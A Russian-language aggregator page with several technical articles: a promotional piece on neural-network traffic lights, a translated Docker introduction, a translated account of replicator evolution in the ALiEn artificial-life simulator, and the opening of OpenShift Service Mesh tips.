Никакими расписаниями этот вопрос не решить, обычная логика, которая есть в любом контроллере светофорных объектов, ошибется конкретно в этот день и в это время. Хотя ручные подстройки, конечно, ведутся и какой-то эффект они приносят. Ногораздо правильнее иметь обратную связь здесь и сейчас: если видеокамеры видят, где идет транспорт, то и включить надо зеленый в этом месте. Причем, заранее не заставляя тормозить.

Опять же подходят оба типа светофоров:адаптивный потому что ситуация очевидна,нейросетевойчуть лучше потому что видит транспортные средства дальше, не потребуется тормозить, ведь нам надо задолго дать команду несколько секунд уйдет на желтый. К тому же у нас опять же есть люди.Адаптивныйбудет постоянно выдавать им какое-то время на переход, потому что он их не различает.Нейросетевой будет переключать только по появлению.

Вы опять что-то хотели сказать:пешеходам можно дать кнопку. Да, только как-то это не кошерно в присутствии умного девайса. К тому же требуется определить - все ли перешли, а это может сделать тольконейросетевой светофор.Адаптивныйдаст лишь среднестатистическое время для движения быстрым шагом.А ситуация здесь двоякая: какой-то мальчонка быстро перебежал, а какая-то бабушка будет долго ковылять. А то и вовсе пойдет отряд юнармейцев из соседней школы.

Вы еще что-то хотели сказать:в ночное время надо включать мигающий желтый на всех перекрестках!- Пробовали, уже много десятков лет. Выяснили, что в нашей стране это очень опасно. Интернет просто забит роликами автогонок, никакие измерители скорости не останавливают ночных любителей разогнаться по городским дорогам до 300 км/час. В хлам превращаются не только автомобили, люди тоже переходят дороги по ночам.

И, если мы говорим про ночной режим,нейросетевые светофорыгораздо эффективнее не только с точки зрения пропускной способности не придется тормозить, если вы едете с нормальной скоростью, они еще и выполняют роль полицейского могут остановить любого гонщика.Нейронные сетиопределяют скорость несущегося, наличие другого автотранспорта и пешеходов, которым это может угрожать, и вычисляют степень опасности. Причем, конкретно мы против превращения умного устройства в наказательный механизм. Если компьютер видит даже повышенную скорость, но не находит угрозы, то конкретно наша логика не мешает проезду, скажем так, нарушителю.

Так сделано не потому, что мы как-то не признаем закон, мы так настроили наше оборудование в качестве задела на будущее. С нашей точки зрения жесткие ограничения скоростей, в принципе, не нужны. Кому с какой скоростью и в каком месте двигаться должен определять компьютер! Он всё просчитывает и выдает достаточно точное решение. Умный светофор должен останавливать только тех, чья скорость реально угрожает другим участникам движения. А ловить нарушителей другая тема, для этого есть специальные устройства.

Пример 3.Постоянно загруженный перекресток.

Нейросетевой светофорНейросетевой светофор

Здесь, наверно, каждому понятно, что подойдет тольконейросетевой светофор, потому что очевидной логики по переключению светофорных фаз просто нет: со всех сторон идет автотранспорт сплошным потоком, и кому дать приоритет?

Тем не менее, мы должны выделить какие-то временные фазы, у них есть длина. Сколько дать времени для проезда с севера на юг, чтобы прошло максимальное количество транспортных средств? Одну минуту, две, три? А может 569 секунд? Кто вот это должен сказать, какой-то очень умный человек или все-таки применить научный подход?

Мы еще ничего не рассказали, но уже услышали ваш вопрос: -Не все ли равно? Нет, потому что движение неоднородное, мы имеем автотранспортную пружинку: при трогании потока она растягивается, при остановке сжимается. И по времени часто превышает сам процесс движения между соседними перекрестками. Чем больше остановок, тем меньше ТС пройдет в результате всего времени.

И вы сразу предлагаете: -Тогда надо дать максимально длинную фазу, чтобы не создавать частых пружин. Правильно это было бы, если у нас не было другого направления: с востока на запад. Оно тоже требует максимальную фазу. Эта игра у нас называется волки овцы: Те, кто едет волки, а стоят овцы.

И вы, уже не подумавши скажете: -Давайте всем дадим поровну! Допустим! Но сколько именно поровну? Ладно, договорились на 5 минут каждому. Но одно направление утыкается во второй перекресток, и ему эти 5 минут как мертвому припарка, оно встает уже через 3 минуты. Остальные две минуты перекресток просто забит еле двигающимися автомобилями. Мы теряем в скорости трафика, что тоже ведет к понижению пропускной способности.

В результате мы должны учитывать еще и скорость всех потоков в каждый момент времени. Кстати, от неё зависит и время сжатия пружин на каждом направлении: чем выше скорость была, тем дольше остановка потока.Также пружины зависят от типа автотранспорта: фура будет намного дольше разгоняться, легковые намного быстрее, поэтому нам нужно пониматьтип ТС и его размеры.

Кстати, об авариях, это еще целый комплекс вводных с тысячью неизвестных. Просчитать оптимальные режимы всех светофорных объектов задача для компьютера, а не примитивной житейской логики. Когда на совершенно простом незагруженном перекрестке фура уронила ящик,адаптивный светофорсошел с ума. Он все время пытался пропустить загруженное направление, а это было невозможно физически. В результате в пробку встало и другое свободное направление.

Анейросетевой светофорпросчитывает миллионы постоянно меняющихся параметров, подбирая оптимальные алгоритмы работы, в результате обеспечивает и повышение пропускной способности в любых, в том числе аварийных условиях, а также повышает безопасность: автоматически останавливает транспорт на полосах, где одно столкновение может перерасти в серийное.

И это только 30% повышения эффективности на загруженных всегда перекрестках. Самое интересное, что эту цифру легко довести до 60%, как вам такое? Не устали стоять в пробках?Хотите ездить в два раза быстрее?Здесь уже говорили, что самая затратная часть в этом процессе автотранспортная пружинка: на остановки и троганья уходит где-то ДО, а где-то БОЛЕЕ 50% времени. Что, если мы не будем останавливать больше половины автотранспорта? Если к нашему Умному светофору подключить соседние Умные светофоры, тонейронная сетьполучает ценную информацию: когда, где и на какой скорости движется поток, какой типа транспорта в каждом потоке, даже манеру вождения отдельных транспортных средств (помните блондинку, которую все объезжают?). Таким образом, мы уже можем убрать каждую вторую пружинку, а то и больше.

- Видим, что у вас появились и конструктивные предложения: -А что если и пред-предыдущие светофоры завести в общую систему? Совершенно верно,таким способом по Москве или Питеру можно ездить в разы быстрее!

А что сейчас? В больших городах построены шикарные центры АСУДД, в которых профессиональные специалисты (извините за тавтологию) управляют светофорными объектами. Они, конечно, не нажимают кнопку для каждой лампочки, но именно вручную выставляют режимы работы каждому светофору. В других городах и этого нет просто среднестатистическое расписание. Наверно, это круто для 30-х годов! Не сегодняшнего, а прошлого века, когда на улице стоял в будке регулировщик теперь его работа ведется удаленно.

Хотя, человек может обыграть компьютер в шахматы! В этой игре тоже миллион неизвестных. Наверно, в АСУДД работают профи. Но сколько существует гроссмейстеров на миллион людей, которые просто умеют играть в эту игру?Все-таки в 99,999999999999% выиграет компьютер.

После этих слов обычно возникает тяжелая пауза люди не любят верить в некий искусственный интеллект, уж больно часто им в нашей стране называли совершенно неинтеллектуальные вещи. Поэтому приведем пример совершенно очевидной эффективности, который понятен и интеллекту живому. Возьмем три последовательных перекрестков в обоих направлениях, расположенных на небольшом расстоянии друг от друга скажем, в минуте езды. Если мы включим зеленую волну по каждому направлению, то оба пропустят транспорт за 3 минуты. Заметьте, это комфортное время ожидания для овец. Но сейчас мы имеем пружину: два троганья и три торможенья, которые в три раза увеличивают время каждого потока и соответственно время ожидания поперечного.

В 3 раза повышается пропускная способность на загруженных перекрестках!

И снова вопрос: -Да, вы сделаете 3 участка, где транспорт будет летать, но весь этот поток упрется в четвертый уже не такой умный перекресток! Позвольте сразу не согласиться с фразой весь этот поток. Перегруженные перекрестки находятся в городах, обычно в их центрах, соответственно там много жилых домов, офисов, магазинов и прочих мест, куда едут люди. Т.е. за 3 участка не весть поток упрется в 4-ый перекресток, часть рассосется опять женейросетеваясистема управления может это легко рассчитать. К тому же за эту зеленую фазу мы исключаем приток других авто, т.е. мы можем заранее узнать максимальный объем ТС и соответственно вывести всех на такой участок дороги, который позволит создать приемлемую очередь перед обычным перекрестком. Т.е. заранее нужно выбирать длинные участки дорог перед старой версией светофоров.Никакого коллапса здесь не будет!

Хотя правильно замечено, что на общую системунейросетевогоуправления лучше завязывать вообще весь город. И это тоже возможно и нужно, к этому мы когда-нибудь все придем!Умные светофоры на базенейронных сетей это безусловное будущее для России. Невозможно бесконечно строить высотки в центре Москвы, торпедировать продажу автомобилей и при этом ездить медленнее, чем ходить пешком. Для всего развитого миранейросетевыетехнологии стали уже обыденностью, и такие задачи там решаются очень быстро.

Внедрение Умных перекрестков.
Это самый простой с точки зрения технической реализации и самый сложный с точки зрения борьбы с технократией вопрос. Достаточно поставить 4 камеры во все направления даже на уже имеющиеся опоры и в большинстве случаев можно запускаться в работу. Главным элементом Умного перекрестка является программное обеспечение. Конечно, чем больше камер, тем выше эффективность, количество подбирается путем проектирования.

О самом сложном!
Сегодня везде уже стоят светофорные объекты прошлого века. Под них создана огромная инфраструктура с немалыми деньгами на обслуживание. Руководство регионов РФ само по себе технократично, а тут еще и передел рынка.

Есть и позитивная новость, Правительство РФ активно развивает Интеллектуальную транспортную систему, как минимум, на словах. Есть достаточно много Постановлений Правительства РФ для этого, более того выделяются деньги хотя бы поэтому Указу. Но, по нашему опыту, на местах настолько сильно сопротивляются прогрессу, что даже часто не осваивают эти средства, не смотря на то, что за это предусмотрено наказание.

Есть еще одна новость средней позитивности: Прогресс все равно придет! Было бы неправильно думать, что деньги выделяются просто так, правительственные круги активно двигают московские фирмы, которые занимаются поставкойадаптивных светофоров. И против Москвы сопротивляться сложно, она придет и снесет всех политиков региона. Но новость средняя, потому чтоадаптивное управление это прошлый век, оно уже 50 лет как используется в Штатах исегодня там меняется нанейросетевое.

Чаще всего, чтобы ничего не делать, говорят: на весь город денег нет, а постепенное внедрение сломает годами выстроенную логику работы других светофоров и приведет к коллапсу, типа, если где-то транспортные потоки пойдут быстрее, в других местах всё встанет. Постоянно это слышим.Но, в городах каждый день происходят какие-то изменения с пропускной способностью: перекрываются на ремонт дороги, строятся новые, сужаются зимой улицы, устанавливаются новые светофорные объекты, меняются знаки Ничего не привело еще к коллапсу, а наоборот разгружает трафик.

Установка отдельно взятого умного перекрестка равносильна постройке еще одной полосы во всех направлениях или выставлению знака остановка запрещена на обочинах.Такую ситуацию легко просчитать, и перестроить ближайшие светофоры, как это всегда и делалось много десятков лет. Разговоры о конце света сильно преувеличены.

Более того,нейросетевой перекрестоквидит транспортный поток и на съезд, поэтому может быстро перестроиться, если понимает, что в данном конкретном направлении пускать транспорт нет смысла.

Информативности ради, надо добавить, что через десяток лет придет еще один тип Умных светофоров - Коммуникационный. Уже сегодня в машинах марки Volvo устанавливается оборудование, способное передавать данные о себе всем заинтересованным системам управления движением. Не потребуются даже камеры. Но для этого надо, чтобы поржавеливсе старые модели. Хотя не исключено, что такие устройства станут обязательными - также как автолокаторы на самолетах, которые ввели после одной из воздушных авиакатастроф. До России, конечно, полезные и спасающие жизни технологии могут долго не дойти.

Подробнее..

Перевод Знакомство с Docker

01.06.2021 08:12:59 | Автор: admin

Это первая статья в цикле Знакомство с Docker. Если вы раньше не работали с Docker, мы расскажем, что он из себя представляет.

Что такое Docker?

Docker - это инструмент DevOps для контейнеризации сервисов и процессов... Подождите... Подождите... Подождите! Что такое DevOps? Что такое контейнеризация? Какие услуги и процессы я могу контейнеризовать? Начнём с самого начала.

DevOps можно понимать как концепцию, объединяющую группы разработчиков и администраторов. Проще говоря, разработчики - это люди, которые пишут код, создают приложение, а администраторы - это инженеры, которые отвечают за доставку приложения, распределения ресурсов для него, резервного копирования данных, проверки качества, мониторинга и т. д. Таким образом, DevOps инженер - специалист, который создаёт мост между ними.

Контейнер - это не более чем процесс, который выполняется изолированно в операционной системе. У него есть собственная сеть, собственная файловая система и выделенная память. Вы можете подумать, а почему бы просто не использовать виртуальную машину? Что ж, виртуальная машина - это отдельная ОС, сильно загруженная множеством других процессов, которые могут вам никогда не понадобиться, вместо виртуализации всей операционной системы для запуска одной службы вы можете виртуализировать службу. Точнее говоря, вы можете создать легкую виртуальную среду для одной службы. Этими службами могут быть серверы Nginx, NodeJS или приложения angular. И Docker помогает нам в этом.

Название Docker происходит от слова док (dock). Док используется для погрузки и разгрузки грузов на кораблях. Здесь можно провести простую аналогию, груз может быть контейнерами, а корабль может быть нашей операционной системой. Все товары в составе груза изолированы от товаров другого груза и самого корабля. Точно так же в Docker процесс одного Docker контейнера (Docker Container) изолирован от процесса другого контейнера и самой операционной системы.

Как работает контейнеризация

Docker использует технологию Linux Containers (LXC) и механизмы ядра Linux. Поскольку у docker-контейнера нет собственной операционной системы, он полагается на хостовую операционную систему. Контейнер, созданный в Linux, может быть запущен в любом дистрибутиве Linux, но не может работать в Windows, и то же самое касается образа, созданного в Windows. Docker расширяет возможности LXC, но также использует контрольные группы (cgroups), которые позволяют ядру хоста разделять использование ресурсов (ЦП, память, дисковый ввод-вывод, сеть и т. д.) на уровни изоляции, называемые пространствами имён (namespaces).

Как создать Docker контейнер?

Чтобы создать Docker контейнер, нам нужно сначала создать архив, содержащий все файлы и зависимости, необходимые для нашего проекта. Этот архив называется Docker образом (Docker Image). Важно помнить, что после создания Docker образа его уже нельзя изменить или модифицировать.

Большое количество готовых образов можно найти в DockerHub, общедоступном репозитории Docker, который позволяет вам делиться своими образами или использовать образы, созданные другими людьми. Вы также можете создавать свои собственные образы и помещать их в свой частный репозиторий (например, Harbor). В дальнейшем этот образ будет использован для создания контейнеров. Один и тот же образ можно использовать для создания одного или нескольких контейнеров, используя Docker-CLI. А что такое Docker CLI спросите вы?

Рассмотрим архитектуру Docker,

  1. Docker демонслушает запросы Docker API и управляет всеми объектами Docker, такими как образы, контейнеры, сети и тома. Это основная служба Docker, которая необходима для работы контейнеров и других компонентов Docker. Если Docker демон перестанет работать, так же перестанут работать все запущенные контейнеры.

  2. Docker демон также предоставляет REST API. Различные инструменты могут использовать его для взаимодействия с демоном. Вы также можете создать приложение, для работы с Docker REST API.

  3. Docker-CLIэто инструмент командной строки, который позволяет вам общаться с демоном Docker черезREST API.

Сеть Docker

Docker предусматривает несколько режимов работы сети. Подробнее о работе сети можно прочитать в нашей статье Сеть контейнеров это не сложно.

  • Host networks -Контейнер Docker будет использовать сеть хоста, соответственно он не будет изолирован с точки зрения сети, это не коснётся изоляции контейнера в целом, например изоляции процессов и файловой системы.

  • Bridge networks - Позволяет изолировать ваши приложения, но они могут взаимодействовать между собой и принимать трафик снаружи, если включено сопоставления портов (port forwarding).

  • Overlay networks - Оверлейные сети соединяют вместе несколько демонов Docker и позволяют службам Docker Swarm взаимодействовать друг с другом. Docker Swarm (аналог Kubernetes) может использоваться, если у вас несколько серверов с Docker.

  • Macvlan networks - Позволяет назначить MAC-адрес контейнеру, чтобы он отображался как физическое устройство в вашей сети.

  • None -Сеть отсутствует, соответственно вы не сможете подключиться к контейнеру.

И всё же, почему стоит использовать Docker?

  • Как разработчик вы можете легко упаковать свой проект со всеми его зависимостями и файлами, создать для него образ, и при этом быть уверенными, что он будет работать в любом дистрибутиве Linux.

  • Ваше приложение легко развернуть, так как образ докера, созданный в Linux, может работать в любом дистрибутиве Linux, процедура запуска также не изменится от выбора дистрибутива.

  • Вы можете ограничить потребляемые контейнером ресурсы - ЦП и память, это позволит запустить больше контейнеров на одном сервере.

  • Возможность запуска нескольких контейнеров из одного образа, позволит сэкономить место на диске и в репозитории образов.

  • Вы можете написать сценарий, который, будет отслеживать состояние контейнера и автоматически запускать новый, при возникновении проблем.

  • Вы можете передать ваш образ коллегам из команды тестирования, они смогут создать несколько экземпляров приложения (контейнеров) из этого образа и выполнять необходимые тесты.

Вместо заключения

Это только первая статья из цикла знакомство с Docker. В следующих статьях мы расскажем о работе с командной строкой Docker и создании собственных образов.

Подробнее..

Перевод На пути к Матрице как происходит исследования в области построения симуляций и искуственной жизни

15.06.2021 16:19:06 | Автор: admin

О проекте


ALiEn это программа моделирования искусственной жизни, основанная на специализированном физическом и рендеринговом движке в CUDA. Он предназначен для моделирования цифровых организмов, встроенных в искусственные экосистемы, и для имитации условий (до)биотической эволюции.

Узнайте о целях проекта и о том, как начать.



Функции

  • Реалистичные физические расчеты кинематических и термодинамических процессов повреждаемых и склеиваемых твердых тел
  • Программируемый материал для моделирования цифровых организмов и эволюции
  • Встроенный графический редактор для проектирования собственных машин
  • Моделирование и рендеринг на GPU
  • Программное обеспечение с открытым исходным кодом и доступно под GNU General Public License, Version 3 (GPLv3).

Под катом два примера (Самопроверяющиеся репликаторы и Репликация на основе информации) применения данного программного комплекса.

Кейс первый: Самопроверяющиеся репликаторы


1. Исходные репликаторы


Самопроверяющиеся репликаторы это машины, которые могут сканировать свою собственную структуру и восстанавливать ее. Таким образом, нет необходимости хранить информацию о конструкции. Мы проведем эксперименты с тремя типами самопроверяющихся репликаторов, различающихся размером и топологической сложностью.

image

  • Первый тип репликаторов довольно минималисичен и состоит из шести ячеек в кольцевой структуре. У него есть сканирующая ячейка, считывающая его структуру, и ячейка-конструктор, создающая потомство. Более того, атакующая ячейка обеспечивает кластер энергией, потребляемой из окружающей среды, а двигательная ячейка перемещает кластер.
  • Второй вариант также имеет кольцевую структуру, но с большим количеством ячеек, выполняющих те же функции. Однако многие из его ячеек не являются обязательными.
  • Последний репликатор обладает гораздо более сложной пространственной структурой, похожей на неправильный шестиугольник.

2. Эволюционные эксперименты


2.1. Настройка

Мы запустим симуляцию для каждого типа репликатора. Идея состоит в том, чтобы начать с небольшой вселенной, наполненной энергией, и нескольких начальных репликаторов. А именно:

  • размер вселенной: 1000 x 1000 единиц
  • 5000 случайно распределенных прямоугольных блоков размером 8 x 4 в качестве питательных веществ
  • 20 репликаторов

Параметры симуляции выбраны для создания дружественной вселенной, например низкая частота мутаций, низкое излучение, низкая стоимость энергии для функций клеток и т.д. Симуляцию с такой предконфигурацией можно скачать здесь:


2.2. Симуляции


2.2.1. Маленькие репликаторы

image

Вначале количество репликаторов растет экспоненциально, пока не будут исчерпаны все ресурсы. После этого устанавливается равновесие, при котором число репликаторов (примерно 6000) остается постоянным. Видео ниже показывает, как репликаторы потребляют последние свободные ресурсы. После этого им нужно потреблять друг друга. Однако из-за мутации произошли незначительные оптимизации, которые привели к появлению более адаптированных особей. Иногда можно наблюдать рост плотных колоний. Это явление показано на рисунке, сделанном на 114 000-м шаге. Каждая светящаяся точка представляет собой отдельного индивида/репликатора.

Колонии стремятся сконцентрировать энергию во враждебной Вселенной и кажутся стабильными только тогда, когда Вселенная относительно плотна из-за окружающего давления других материалов. Высокая плотность внутри колонии обеспечивает легкое потребление энергии репликаторами. Поскольку они более или менее идеально адаптированы к окружающей среде, дальнейших существенных изменений не произошло. Более подробный взгляд показывает, что репликаторы утратили способность двигаться самостоятельно, потому что в этом больше нет необходимости.

Ниже вы найдете два видеоролика: в первом показано, как репликаторы захватывают все доступные ресурсы в небольшой вселенной. Втторое видео дает подробное представление о процессах внутри колонии.



После этой начальной фазы мы постепенно увеличиваем размер вселенной до 4000 x 1000 единиц и постепенно увеличиваем свойства функции ячейки параметров моделирования -> оружие -> стоимость энергии до 1,4. Эти изменения, с одной стороны, понижают давление окружающей среды и приводят к рассеянию колоний. С другой стороны, усложняется потребление энергии. Неожиданно возникает необходимость в адаптации. Репликаторы развивают подвижность, чтобы более активно потреблять ресурсы. После нескольких миллионов временных шагов и фиксации вышеуказанного параметра происходит слияние нового равновесия. Они потребляют друг друга и производят потомство. Но количество репликаторов остается постоянным. Такое поведение можно наблюдать на первом видео, сделанном после 22 миллионов временных шагов эволюции.


Затем мы увеличиваем вышеупомянутый параметр до 2,4. Это приводит к нарушению равновесия, поскольку репликатор слишком быстро теряет энергию. Однако они нашли способ выжить. Каждый раз, когда ресурсы концентрируются локально, они рискуют, потребляют и тиражируются настолько быстро, насколько это возможно. После этого они расходятся и большинство из них умирают. Разрушенные/неисправные репликаторы дрейфуют в пространстве. Когда многие из них подойдут близко, они будут поглощены другими. Таким образом, возникает более сложное равновесие, когда материальные волны периодически сталкиваются и быстро поглощаются несколькими существующими репликаторами. Количество репликаторов растет очень быстро за короткое время. Затем большинство из них умирают и формируют новую материальную волну. Это явление можно наблюдать на видео.


Репликатор, полученный в результате эволюции после 70 миллионов временных шагов, изображен ниже. В ролике показано, как вы будете распространяться в дружественной Вселенной. Интересное поведение, которое можно наблюдать при моделировании, заключается в том, что многие такие репликаторы на самом деле не реплицируются, тогда как лишь некоторые из них производят много потомков. Это может быть выгодно, если многие из них будут конкурировать за ограниченные ресурсы.


image

evolved small replicator

2.2.2. Большие репликаторы


Эволюция этого более крупного типа репликатора идет по несколько иной схеме. С одной стороны, его более крупная структура предлагает больше возможностей для оптимизации и, следовательно, адаптации к новым условиям. С другой стороны, процесс репликации требует больше времени и энергии. Как следствие, развитие периодических материальных волн происходило в гораздо более слабой форме, потому что репликатор не был достаточно быстрым, чтобы захватить материал.

Ниже вы можете найти продукт эволюции после 82 миллионов временных шагов и видео, показывающее его создание. Репликатор движется очень резко и иногда с самоубийством. Такое агрессивное поведение кажется выгодным во вселенных с редкими ресурсами. Его структура эволюционировала, но все еще относительно близка к первоначальной конфигурации. Можно также заметить, что его структура и функции не сильно изменились в более поздние времена. По сравнению с началом, на его ячейках вращается гораздо больше токенов, что приводит к более быстрой активности.


image

evolved large replicator

2.2.3. Сложные репликаторы

Самый крупный вариант исходных репликаторов создает более мелкие структуры за довольно короткие промежутки времени. Что касается большого варианта, приведенного выше, существует больше свободы для оптимизации и можно наблюдать более сложные шаблоны поведения по сравнению с небольшой начальной версией репликатора. Этот факт влияет также на общие структуры Вселенной. Существует большее разнообразие кластеров разного размера. Также не наблюдается периодических материальных волн. Вместо этого происходит больше хаотичных движений и локального скопления репликаторных машин. На видео внизу можно увидеть это явление.


Такие условия могут быть более подходящими для эволюции в сторону более высокой сложности. В моделировании после 26 миллионов временных шагов возникла совершенно новая структура. Он привлекает внимание своей массивной внутренней обработкой. Это похоже на растущую кристаллическую структуру без активных движений или потребления энергии. Деторождение происходит путем разрушения конструкции из-за физических воздействий. Части снова могут расти. Увеличенное изображение этого удивительного продукта эволюции показано справа внизу.


crystalline structure

Это экзотическое существо сосуществует с другими развитыми репликаторами. Пример такого репликатора показан ниже вместе с видео, показывающим его распространение.


image

evolved complex replicator

4. Выводы


Все три типа репликаторов претерпевают наибольшие изменения за первый миллион временных шагов из-за мутации и естественного отбора. Более высокая сложность начальной конфигурации предлагает больше возможностей для оптимизации. Однако как только условия окружающей среды (параметры моделирования и измерения вселенной) фиксируются, эволюционная адаптация замедляется. Даже тихие мутации не могут выжить в популяции.

Все типы исходных репликаторов эволюционируют в варианты, которые намного быстрее воспроизводят и потребляют ресурсы. Наиболее сложные структурные начальные варианты также развивают более сложные модели поведения.

Неожиданным продуктом стало возникновение кристаллических структур, которые могут расти, но не имеют функций активного движения, энергопотребления и репликации. Они воспроизводят себя, распадаясь под воздействием внешних факторов. Детали в основном все еще функционируют.

Кейс второй: Репликация на основе информации


1. Начальный репликатор


Основным предметом настоящего исследования является самовоспроизводящаяся машина, использующая цифровой аналог ДНК. По сравнению с самопроверяющимися репликаторами, строительные команды потомка хранятся в контейнере данных как чистая информация. Благодаря такому подходу мы получаем большую гибкость в создании новых машин, поскольку они возникают в результате манипулирования информацией.

Начнем наш эксперимент с циклической структуры, которая выполняет все необходимые операции в одном основном цикле. Команды построения кодируются в памяти токена, который вращается в циклической структуре. Кроме того, для получения необходимой энергии производятся некоторые случайные движения и атаки на соседние клетки.

На картинках ниже мы можем видеть снимки в процессе репликации. Пока репликатор имеет достаточно энергии, он производит новые ячейки, команды построения которых описаны в разделе данных токена. Каждый раз, когда токен проходит через компьютерную ячейку, инструкции по сборке копируются байт за байтом в его целевое поле. Это может занять до 45 оборотов вокруг конструкции. После завершения процесса копирования из памяти начинается создание дочерней клетки, которое повторяется в случае, если не доступно достаточной энергии. Конструктор получает инструкцию от токена и постепенно строит все 6 ячеек. После построения последней ячейки токен будет продублирован, и копия будет распространена на потомство. Во время этого процесса применяется мутация к памяти токена. Кроме того, происходит разделение строительной площадки на двух индивидов.

После многих циклов репликации количество потомков растет экспоненциально при условии, что доступно достаточно питательных веществ в виде окружающих клеток или частиц энергии. Справа видны реплицирующиеся структуры после нескольких циклов репродукции. Из-за примененной мутации некоторые из них могут иметь разные свойства, что в большинстве случаев приводит к некоторым сбоям в работе.

image

information-based replicator

2. Эволюционный эксперимент


2.1. Настройка

Для нашего эволюционного эксперимента мы создали симуляцию со следующими настройками:

  • начальный размер вселенной: 1000 x 1000 единиц
  • 5000 случайно распределенных прямоугольных кластеров 8x4 ячеек каждые 100 единиц энергии
  • 20 репликаторов

Полную первоначальную конфигурацию можно скачать здесь.

2.2. Симуляция
Во время симуляции мы постепенно увеличиваем размер вселенной до 6000 x 1000 единиц. Затем Вселенная масштабируется до 60 000 x 1 000 единиц, что приводит к увеличению энергии в 10 раз. Количество репликаторов растет экспоненциально и стабилизируется на уровне от 80 до 90 тысяч экземпляров. На этом этапе номер можно прочитать на активных кластерах на мониторе. Результаты, приведенные ниже, нельзя повторить напрямую, так как все моделирование отличается. Однако могут наблюдаться некоторые общие эффекты.

Через какое-то время можно увидеть, что плотные колонии репликаторов через какое-то время могут сливаться. Потому что в текущих условиях репликаторам выгодно развивать ленивые модели поведения, которые не совершают никаких движений и массово атакуют свое окружение. Чтобы предотвратить возникновение такой удобной схемы выживания, мы можем изменить условия окружающей среды. С этой целью мы наказываем атаку клеток, увеличивая параметры функции симуляции -> оружие -> стоимость энергии. Мы увеличиваем его значение до 3 не сразу, а постепенно после 100 тыс временных шагов, чтобы репликаторы могли адаптироваться к новым условиям.

Когда Вселенная заполнена репликаторами, плотность материала может сильно варьироваться в зависимости от региона. Потому что движущиеся репликаторы создают силы, которые отталкивают оставшийся материал. Это явление можно наблюдать на следующем снимке экрана, сделанном через 2 млн. временных шагов.

image

В центре области видны яркие пятна. Это тысячи репликаторов. Со временем они мутировали, и некоторые из них приобрели другой цвет. Слева и справа можно увидеть в основном синий цвет редко распределенный оставшийся материал. На этом снимке экрана показана лишь крошечная часть всей Вселенной. В нашей тестовой системе симуляция выполняется примерно со скоростью 20 шагов в секунду.

Ниже вы можете увидеть отрывок из той же симуляции через 7 миллионов временных шагов. Репликаторы мутировали и могут быстрее размножаться в своей среде.

image

После 59 млн. временных шагов и изменения скорости мутаций с низкой на высокую и наоборот, динамика моделируемой вселенной изменилась с появлением новых типов структур. Их поведение сильно отличается от поведения исходных репликаторов. На первый взгляд они кажутся неисправными мутантами. Но что самое интересное, они растут и распадаются на части, которые сами могут расти.

Похоже, что возник новый тип искусственного образа жизни, который нельзя было представить в исходных условиях. На следующих скриншотах мы представляем разделы вселенной после 61 млн. временных шагов. Файл моделирования на этом временном шаге можно скачать здесь.

image

Достаточно заметной выглядит кристаллическая структура белого цвета в центре. Его цвет является результатом множества циркулирующих токенов. В редакторе мы можем наблюдать более подробную информацию об этой структуре.

image

После дальнейшего увеличения мы обнаруживаем, что эта структура в основном состоит из двух типов ячеек, которые повторяются в пространственных образцах: компьютерной ячейки и ячейки-конструктора. Почти на каждой ячейке есть три токена, содержащие данные для процесса построения. Как только в какой-то части структуры доступно достаточно энергии, она растет в ортогональном направлении.

image

Структуру можно скачать здесь.

4. Выводы


С помощью этого эксперимента мы могли наблюдать появление растущих кристаллических структур. То же явление наблюдалось и для самоинспектирующихся репликаторов. Более того, они были стабильными, распространились по всей вселенной и стали доминирующими видами. Из этого можно сделать вывод, что такие формы самовоспроизведения встречаются не так уж редко и могут возникать в различных ситуациях.

Существенных различий в развитии информационных копирующих машин по сравнению с самоконтролирующимися машинами в этом эксперименте не наблюдалось. Гипотеза о том, что такие машины могут лучше адаптироваться к окружающей среде и больше подходят для неограниченной эволюции, должна быть изучена в более обширных экспериментах.

Кроме того, оказывается, что для дальнейших экспериментов следует рассмотреть следующие расширения:

  • автоматическое изменение параметров моделирования таким образом, чтобы популяция не вымерла,
  • вознаграждайте более крупные репликаторные структуры.

Дополнительно: Artworks


Все последующие скринкасты показывают моделирование в реальном времени, записанное на системе GeForce 2080 TI. Рекомендуется смотреть видео в качестве 1080p (HD). Больше видео можно найти на канале YouTube.

Возможности физического движка






Искусственно запрограммированная материя






Конструкции на встроенном графическом редакторе



Подробнее..

Рекомендации по запуску приложений в OpenShift Service Mesh

15.04.2021 12:10:33 | Автор: admin

В этом посте мы собрали советы и рекомендации, которые стоит изучить, прежде чем переносить свои приложения в сервисную сетку OpenShift Service Mesh (OSSM). Если вы никогда не сталкивались с сервисными сетками Service Mesh, то для начала можно глянуть страницу OSSM на сайте Red Hat и почитать о том, как система Istio реализована на платформе OpenShift.

Начав изучать Istio, вы скорее всего столкнетесь с приложением bookinfo, которое почти повсеместно используется в качеств наглядного пособия, или же с более продвинутым вариантом в виде приложения Travel Agency. Разбирая эти и другие примеры, вы сможете лучшее понять, как устроена mesh-сетка, и затем уже переносить в нее свои приложения

Сначала о главном

Начать стоит с официальная документация OpenShift Service Mesh 2.0 (OSSM), в ней можно найти массу полезных материалов, в том числе:

Когда дойдет до интеграции вашего приложения в mesh-сетку, надо будет копнуть поглубже и заглянуть в документацию по Istio. Также стоит ознакомиться с release notes соответствующих версий компонентов, входящих Red Hat OSSM.

Если еще не сделали это, то протестируйте свою mesh-сетку с помощью приложения-примера Bookinfo. Если все пройдет нормально, то в нее уже можно будет добавлять ваше приложение.

Первое, что надо сделать при добавлении в mesh-сетку своего приложения убедиться, что sidecarы проксей Envoy правильно внедрены в podы вашего приложения. В OSSM такое внедрение делается довольно просто и хорошо описывается в документации.

Потом воспользуйтесь примером, где описывается, как настраивать ingress-шлюз для приложения Bookinfo, и примените эту конфигурацию к своему приложению, чтобы к нему можно было получать доступ не только изнутри кластера OpenShift, но и извне.

Выбор протоколов

Важно четко понимать, как Istio определяет, какие протоколы использует ваше приложение. Для этого изучите все, что связано с Protocol Selection и app and version labelsв разделе документации Pods and Services.

В противном случае скорее всего произойдет следующий казус. Допустим, вы внедряете в свое приложение sidecarы проксей Istio, загружаете его тестовым трафиком и идёте смотреть граф Kiali. И видите там совсем не то, что ожидали (рис. ниже). Почему? Потому что Kiali и Istio не смогли правильно определить, какие протоколы используют наши сервисы, и отобразили соединения между ними как TCP, а не HTTP.

На графе Kiali есть только TCP-соединенияНа графе Kiali есть только TCP-соединения

Istio должен точно знать, какой протокол используется. Если Istio не может определить протокол автоматически, то трактует трафик как обычный (plain) TCP. Если у вас какие-то другие протоколы, их надо вручную прописать в определениях служб Kubernetes Service вашего приложения. Подробнее об этом написано в документации, раздел Protocol Selection.

